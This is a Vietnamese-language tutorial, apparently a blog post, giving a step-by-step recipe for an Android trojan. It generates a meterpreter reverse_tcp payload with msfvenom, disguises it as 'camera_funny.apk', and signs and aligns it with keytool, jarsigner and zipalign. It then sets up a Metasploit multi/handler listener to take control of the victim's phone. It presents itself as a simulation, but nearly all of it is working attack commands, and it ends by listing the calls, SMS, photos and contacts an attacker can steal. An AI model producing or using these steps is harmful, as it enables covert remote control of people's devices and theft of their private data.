Trong bài này, tôi sẽ mô phỏng cách thức tạo cũng như hoạt động của một mã độc android trên thiết bị. Về công cụ thực hiện, tôi sử dụng máy ảo Kali linux dành cho việc tấn công và một máy ảo genymotion (hoặc thiết bị android thật) dành cho máy nạn nhân. Trên máy ảo Kali Linux ta cần cài đặt các công cụ sau:
- Msfvenom: cung cấp các payload mã độc trong metasploit – đây là sự kết hợp giữa msfpayload và msfencode và được mặc định cài sẵn trong Kali
Link: https://www.offensive-security.com/metasploit-unleashed/msfvenom
- Keytool: là công cụ tạo các khóa public key, private key cho ứng dụng, nhằm xác thực thông tin của ứng dụng này.
- Jarsigner: dùng để chèn các khóa private key vào file apk sau khi keytool khởi tạo khóa xong.
- Zipalign: công cụ đóng gói và xác thực file apk
Bước 1: Khởi động máy Kali Linux
Tiến hành bật cửa sổ command prompt và sử dụng công cụ msfvenom.
Terminal: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.27 LPORT=4444 R > /root/Desktop/camera_funny.apk
Trong đó các payload:
- -p tên Payload cần sử dụng
- LHOST= địa chỉ IP để thiết bị nạn nhân kết nối về (đây là địa chỉ IP của máy người tấn công)
- LPORT= cổng lắng nghe từ máy người nạn nhân (mặc định là cổng 4444)
- R: đường dẫn lưu tên file apk có chứa payload
Như vậy chúng ta đã tạo thành công file apk có chứa mã độc tên là camera_funny. Tuy nhiên thiết bị android sẽ không cho phép cài đặt gói apk này vì file này chưa được ký (signed certificate). Bước tiếp theo ta cần làm là ký gởi file apk này.
Bước 2: Sử dụng Keytool
Tiếp theo ta dùng keytool để tạo ra được các khóa private key và public key. Thông tin cần tạo trong keytool bao gồm tên, tổ chức, vị trí, quốc gia
Terminal: keytool -genkey -v -keystore my-release-key.Keystore -alias camera -keyalg RSA -keysize 2048 -validity 10000
Bước 3: Tạo keystore sử dụng jarsigner
Terminal: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore camera_funny.apk camera
Bước 4: Ký gói apk bằng jarsigner
Bước 5: Xác nhận gói apk bằng Zipalign
Lưu ý: Zipalign mặc định không được cài trên máy ảo Kali nên ta cần tiến hành cài đặt bằng lệnh “apt-get install zipalign”
Và tiến hành xác nhận gói apk:
Terminal: zipalign -v 4 camera_funny.apk camera_funny_zip.apk
Lúc này ta đã có được file apk gắn mã độc. Ta tiến hành cài đặt lên máy ảo genymotion hoặc thiết bị di động thật.
Bước 6: Sử dụng metasploit để điều khiển máy nạn nhân
Tiến hành khởi động metasploit bằng lệnh “msfconsole”
Giao diện metasploit
Để có thể tạo lắng nghe từ phía nạn nhân ta sử dụng payload multi handler
Terminal: use exploit/multi/handler
Sau khi chọn payload, ta tiến hành điền các tham số như địa chỉ IP (IP của máy tấn công), port và payload android/meterpreter/reverse_tcp
Cuối cùng tiếng hành khai thác mã độc “exploit”
Khi máy của người nạn nhân cài đặt file apk trên, thiết bị sẽ tạo kết nối ngược về máy người tấn công. Và chính tại đây, người tấn công có toàn quyền điều khiển thiết bị của nạn nhân
Một khi đã chiếm được quyền điều khiển, người tấn công có thể lấy thông tin như cuộc gọi, sms, hình ảnh, tài liệu, danh bạ điện thoại của nạn nhân.